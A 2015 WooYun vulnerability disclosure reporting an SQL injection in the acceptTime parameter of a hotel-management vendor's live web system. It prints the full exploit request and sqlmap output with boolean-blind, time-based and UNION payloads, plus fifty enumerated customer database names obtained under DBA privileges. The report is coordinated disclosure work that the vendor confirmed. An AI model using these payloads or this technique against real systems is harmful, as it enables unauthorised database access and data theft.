当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163951

漏洞标题:住哲某处SQL注入三(50库 DBA权限 支持 UNION )

相关厂商:北京住哲信息技术有限公司

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-12-23 19:00

修复时间:2016-02-08 18:23

公开时间:2016-02-08 18:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-23: 细节已通知厂商并且等待厂商处理中
2015-12-25: 厂商已经确认,细节仅向厂商公开
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-02-08: 细节向公众公开

简要描述:

2333

详细说明:

POST /dibeicrs/internalMsgInfoList.html HTTP/1.1
X-Forwarded-For: 8.8.8.8'
Content-Length: 151
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://cbs.zhuzher.com:15018/
Cookie: JSESSIONID=6A29C439CA0C6C84F19600D5D092E779; JSESSIONID=6A29C439CA0C6C84F19600D5D092E779; key=yourkey; guid=206e-314c-c081-f57b
Host: cbs.zhuzher.com:15018
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
acceptTime=4111111111111111*&button=%e6%90%9c%e7%b4%a2&content=-1&msgtype=0&page=1&sendTime=1&status=0


参数 acceptTime 可注入

0.png


DBA权限

1.png


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 247 HTTP(s) r
equests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: acceptTime=-7427') OR 4822=4822 AND ('ioer'='ioer&button=%e6%90%9c%
e7%b4%a2&content=-1&msgtype=0&page=1&sendTime=1&status=0
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: acceptTime=4111111111111111') AND (SELECT * FROM (SELECT(SLEEP(5)))
oHmr) AND ('LLSQ'='LLSQ&button=%e6%90%9c%e7%b4%a2&content=-1&msgtype=0&page=1&se
ndTime=1&status=0
Type: UNION query
Title: Generic UNION query (random number) - 8 columns
Payload: acceptTime=4111111111111111') UNION ALL SELECT 4627,CONCAT(0x716a6b
7071,0x72414e69426479574a4c,0x71706a6b71),4627,4627,4627,4627,4627,4627-- &butto
n=%e6%90%9c%e7%b4%a2&content=-1&msgtype=0&page=1&sendTime=1&status=0
---
[18:01:35] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.12
[18:01:35] [INFO] fetching database names
available databases [50]:
[*] baitiane
[*] baiyuan
[*] baolongjujia
[*] cbs20121022
[*] chenguang
[*] demo703
[*] dibei
[*] dongxiangting
[*] eken
[*] futai118
[*] fuyi
[*] geziwei
[*] haizhilian
[*] hanmu
[*] hanshe
[*] haorujia
[*] heyi
[*] hongzhen
[*] hongzhenpms
[*] hualv
[*] huilai
[*] hutongyin
[*] ims
[*] information_schema
[*] jiayuan
[*] jingtong
[*] jintaizhijia
[*] jitai
[*] kaibin
[*] mini
[*] mysql
[*] nixi
[*] nuoting
[*] nuotingnew
[*] qibai
[*] renhe
[*] sanyuan
[*] shishang
[*] tanggongguan
[*] test
[*] test_cbs
[*] vbs
[*] wuyishan
[*] xicheng
[*] xijinshuyuan
[*] yibai
[*] yidafengshang
[*] yinju
[*] yuanyang
[*] yueyou
[18:01:37] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\cbs.zhuzher.com'
[*] shutting down at 18:01:37

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-25 20:24

厂商回复:

感谢白帽子对住哲的关注,我们尽快对此问题进行修复。

最新状态:

暂无


漏洞评价:

评价